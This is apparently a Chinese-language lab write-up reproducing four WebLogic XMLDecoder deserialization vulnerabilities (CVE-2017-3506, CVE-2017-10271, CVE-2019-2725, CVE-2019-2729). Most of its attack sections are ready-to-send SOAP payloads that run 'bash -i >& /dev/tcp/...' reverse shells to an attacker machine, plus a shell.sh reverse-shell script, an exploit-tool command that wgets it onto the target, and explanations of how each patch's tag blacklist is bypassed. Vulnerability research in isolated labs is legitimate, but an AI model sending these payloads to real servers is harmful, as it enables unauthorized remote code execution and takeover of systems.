WebLogic_XMLDecoder反序列化漏洞复现
本文最后更新于 2024-08-12,文章内容可能已经过时。
WebLogic XML Decoder 反序列化漏洞
1. XML Decoder 反序列化
1.1 XMLEncoder(XML序列化) & XMLDecoder (XML反序列化)
XMLDecoder / XMLEncoder 是JDK1.4版本中添加的XML格式序列持久性方案,使用XMLEncoder来表示JavaBeans组件(bean)的XML文档,用XMLDecoder读取使用的XMLEncoder创建的XML文档获取JavaBeans
1.2 XML标签
1.String标签
字符串"hello world"表示如下:
<string>Hello world</string>
2.object标签
通过<object>
标签表示对象,其class属性指定具体类,其class属性指定具体类(用于调用其内部方法)。method属性指定具体方法名称(比如构建函数的方法名为new)
<object class="javax.swing.JButton" method="new">
<string>Hello,world</string>
</object>
3.void标签
通过<void>
标签表示函数调用,赋值等操作,method属性指定具体方法名称。
JButton b = new JButton(); b.setText("Hello world");
对应的XML文档如下:
<object class="javax.swing.JButton">
<void method="setText">
<string>Hello,world</string>
</void>
</object>
4.array标签
通过<array>
标签表示数组,class属性指定具体类,在array标签内部使用void标签的index属来指定数组索引赋值。
String[] s = new String[2]; S[1] = "Hello,world";
对应的XML文档如下
<array class="java.lang.String" length="2">
<void index="1">
<string>Hello,world</string>
</void>
</array>
1.3 XMLDecoder 反序列化漏洞
在idea上新建一个java项目,创建包名com.test,xml文件poc.xml
在com.test包下创建一个test类,读取XML文档以创建XMLDecoder类的实例化对象a,而后
再使用readObject()方法触发反序列化漏洞,代码如下
package com.test;
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class test {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder a = new XMLDecoder(new BufferedInputStream(new FileInputStream("src/com/test/poc.xml")));
Object result = a.readObject();
a.close();
}
}
用于编写反序化的XML(poc.xml),执行calc,打开计算器,代码如下:
<java version="1.8.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"></void>
</object>
</java>
运行test类后直接弹出计算器,说明XML反序化完成
2.CVE-2017-3506
2.1 漏洞简介
WebLogic的WLS Security组件对外提供的webservice服务,其中使用了XMLDecoder来解析用户传入的SOAP(XML)数据,在解析的过程中出现的反序列化漏洞,导致可执行任意命令(RCE)
漏洞影响版本:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2
2.2 漏洞分析
2.2.1判断漏洞是否存在
若访问/wls-wsat/CoordinatorPortType,出现如下页面,则可能存在此漏洞。
只要再wls-wsat这个war包中的uri皆受影响,打开web.xml查看收到影响的url路径
默认受到影响的uri如下:
/w1s-wsat/coordinatorPortType
/w1s-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/w1s-wsat/RegistrationRequesterPortType
/w1s-wsat/CoordinatorPortType11
/w1s-wsat/RegistrationPortTypeRPC11
/w1s-wsat/ParticipantPortTypell
/w1s-wsat/RegistrationRequesterPortType11
2.2.2 漏洞调用链分析
首先查看weblogic.wsee.jaxws.workcontextServerTube
下的processRequest()
方法,这里看到传入的var1
参数是提交的sope(XML)
数据,var2
是从var1
中获取的headers
,var3
是从var2
中的WorkAreaConstants.WORK_AREA_HEADER
获取到的,然后将var3
放入readHeaderOld()
方法中
接下来查看weblogic.wsee.jaxws.workcontext.WorkContextTube
中的readHeaderOld()
方法,这里将提交的sope(XML)
中的XML格式序列化传给了var4
,接着构建了WorkContextXmlInputAdapter()
对象var6
并将var4
的字节数组输入流传入到其构造函数中。
跟着查看weblogic.wsee.workarea.WorkContextXmlInputAdapter的WorkContextXmlInputAdapter,发现其包含恶意的XML的输入流作为参数传入XMLDecoder的构造函数,创建了对象xmlDecoder。
再回到上层,看到var6
又被传入到了recevie()
方法中。
跟进receive()
方法,其有调用receiveRequest()
方法处理xmlDecoder
在readUTF
中,可以看到它最终调用了xmlDecoder的readObject()
方法进行反序列化操作,从而触发命令执行。
2.3 漏洞复现
2.3.1 实验环境
服务器:Centos7 (ip : 192.168.91.128)
Weblogic 版本:10.3.6.0
攻击机:kali (IP : 192.168.91.129)
这里使用vulhub的靶场搭建漏洞复现环境,在Centos 7 上创建一个目录CVE-2017-3506,在其中创建一个docker-compose.yml文件,内容如下:
version:'2'
services:
weblogic:image:vulhub/weblogic:10.3.6.0-2017
ports:
-"7881:7881"
而后在这个目录下直接运行docker-compose -d up
即可拉取启动容器。
docker ps
命令可以查看对应开放的端口
启动后浏览器访问对应的端口,看到如下界面说明容器启动成功,靶场环境搭建完毕。
http://192.168.91.128:7001/console可以跳转到后台界面
http://192.168.91.128:7001/console/login/LoginForm.jsp
2.3.2 复现过程
浏览器访问http://192.168.91.128:7001/wls-wsat/CoordinatorPortType
(只要出现如下界面说明可能存在此漏洞)
使用工具验证下,发现果然有漏洞
然后使用burp进行拦截请求,发送到重放,右键修改请求方法为POST,而后修改Content-Type
为text/xml
在正文下方中填入如下payload进行利用,这里使用的bash进行反弹shell操作。
(bash那一行的ip地址是kali的ip地址)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&/dev/tcp/192.168.91.129/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
在kali启动nc监听:监听6666端口
burp执行后kali成功反弹。成功Getshell,漏洞复现完毕。
3.CVE-2017-10271
3.1 漏洞简介
在更新CVE-2017-3506补丁之前,不对用户输入的SOAP(XML)数据进行验证,在其中的object标签就可以进行远程命令执行,CVE-2017-3506的补丁在`weblogic/wsee/WorkContextXmlInputAdapter.java`中添加了`validate`方法,在解析xml的时候,`Element`字段出现`object`标签就抛出运行时的异常,不过这次防御的力度不够,就导致了CVE-2017-10271。
private void validate(InputStream is){
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler() {
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch(ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXExceptionvar6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOExceptionvar7) {
throw new IllegalStateException("Parser Exception", var7);
}
可以看到,就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过,我们将object换成void就可绕过此补定。
CVE-2017-10271与CVE-2017-3506与的利用方法一样,只是CVE-2017-3506加了验证函数补丁,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java
中添加了validate
方法, 验证Payload中的节点是否存在object ,如果有就抛出异常进行防御。我们可以使用void标签进行绕过CVE-2017-3506的补丁,从而触发CVE-2017-10271漏洞,进行远程命令调用。
漏洞影响版本:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2
3.2 漏洞复现
3.2.1 实验环境
服务器:Centos7 (ip : 192.168.91.128) 搭建有vulfocus漏洞复现平台
Weblogic 版本:10.3.6.0
攻击机:kali (IP : 192.168.91.129)
搜索漏洞编号,启动靶场复现环境。
浏览器访问对应ip和端口,出现如下界面则表示搭建完毕。
3.2.2 复现过程
CVE-2017-10271与CVE-2017-3506与的利用方法一样,只不过需要将object
标签替换为void
标签进行利用。启动环境后访问:http://192.168.91.128:7001/wls-wsat/CoordinatorPortType
然后使用burp进行拦截请求,发送到重放,修改请求为POST,而后修改Content-Type为text/xml。
在正文中填入如下的payload进行利用,这里使用的是bash进行反弹shell。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.91.129/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
kali中开启nc监听6666端口,burp发送请求,kali中成功反弹回shell,复现成功。
2.4 修复建议:
1.安装补丁
2.或删除wls-wsat组件
4.CVE-2019-2725
4.1 漏洞简介
描述: Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。 由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。
该漏洞依旧是根据weblogic的xmlDeconder反序列化的漏洞,Weblogic部分版本中默认包含wls9_async_response
的war包,为WebLogicServer
提供异步通讯服务,由于该WAR包在反序列化处理的时候输入信息时存在缺陷,攻击者可以发送精心构造的恶意HTTP请求,获得目标服务器的权限,在未授权的情况下远程执行命令。
影响版本:weblogic: 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
4.2 漏洞原理
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。
访问 /_async/AsyncResponseService
返回如下页面,即可能存在该漏洞
访问/_async/
如果返回403,也可能存在漏洞
CVE-2019-2725这个洞与前两个漏洞很相似,只不过利用的是wls9_async_response
这个war包
若访问/_async/AsyncResponseService
,响应如下页面,则可能存在该漏洞。
若访问/_async/
,响应403也可能存在该漏洞。
只要是在bea_wls9_async_response
包中的url皆收到影响,可以打开web.xml查看所有受影响的url地址
默认受影响的url:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttp
4.3 漏洞复现
4.3.1 实验环境
服务器:Centos7 (ip:192.168.91.128) 搭建了Vulfocus漏洞复现平台
Weblogic 版本: 10.3.6.0
攻击机:kali (ip:192.168.91.129)
使用vulfocus靶场搭建,搜索weblogic镜像进行下载后启动即可
访问http://192.168.91.128:13417/,如下页面,说明搭建成功
4.3.2 复现过程
与前面的相似,利用点在bea_wls9_async_response
包中的url,访问http://192.168.91.128:13417/_async/AsyncResponseService,然后使用burp进行拦截,发送到重放,右键修改请求方法为POST,而后修改content-Type为text/xml
在正文下发,填写payload如下进行利用。这里使用的是bash进行反弹shell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&/dev/tcp/192.168.91.129/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
kali开启nc监听6666端口,burp发送请求,kali成功返回反弹的shell
5.CVE-2019-2729
5.1 漏洞原理
CVE-2019-2729漏洞是对CVE-2019-2725漏洞补丁进行绕过,形成新的漏洞利用方式,属于CVE-2019-2725漏洞的变形绕过。与CVE-2019-2725源洞相似,CVE-2019-2729漏洞是由于应用在处理反序列化输入信息时存在缺陷,攻击者可以通过发送精心构造的恶意HTTP请求,用于获得目标服务器的权限,并在未授权的情况下执行远程命令,最终获取服务器的权限。
影响版本:10.3.6.0,12.1.3.0,12.2.1.3
5.3 漏洞复现
5.3.1 实验环境
服务器:Centos7 (ip : 192.168.91.128) 搭建有vulfocus漏洞复现平台
Weblogic 版本:10.3.6.0
攻击机:kali (IP : 192.168.91.129)
利用工具:https://github.com/ruthlezs/CVE-2019-2729-Exploit/blob/master/oracle-weblogic-deserialize.py
搜索漏洞编号,启动靶场复现环境。
浏览器访问对应主机ip和映射的端口,出现如下界面说明搭建成功。
5.3.2 复现过程
前面的CVE-2017-3506的补丁是过滤了object标签,CVE-2017-10271的补丁是过滤了new标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的。
而CVE-2019-2725的补丁也是使用了黑名单的方式禁用了class标签,但是我们可以使用<array method="forName">
的方式替代class标签即可。
访问/wls-wsat/CoordinatorPortType
,而后burp进行拦截该请求。
利用工具中的req.txt
提取出来,放于请求中,这里太多了,就不放出来了,git仓库后文件夹中有。
请求头部添加fcmd
字段,填写whoami命令,用于验证,发送后查看命令回显信息。可以看到发送回来root,说明存在该漏洞,可以进行利用。
在kali上的/tmp目录编写一个shell脚本,(shell.sh),用于bash进行反弹shell,内容如下:
bash -i >& /dev/tcp/192.168.91.129/6666 0>&1
而后在kali的/tmp下使用python3 -m http.server:8000
,开启一个http服务,后续方便让Weblogic服务器获取到shell脚本。
kali上使用nc监听6666端口
在kali上使用漏洞利用工具,让服务器去执行shell.sh。获取反弹shell,若无法获取shell,则可以使用
bash shell.sh
python oracle-weblogic-deserialize.py -u http://192.168.91.128:62066/ -c "wget http://192.168.91.129:8000/shell.sh -P /tmp"
成功获取root权限,漏洞复现完毕。
5.4 修复建议
1.过滤t3协议。
在域结构中点击 安全->筛选器 连接筛选器填: weblogic.security.net.ConnectionFilterImpl 保存后重启Weblogic.
2.安装补丁。
- 感谢你赐予我前进的力量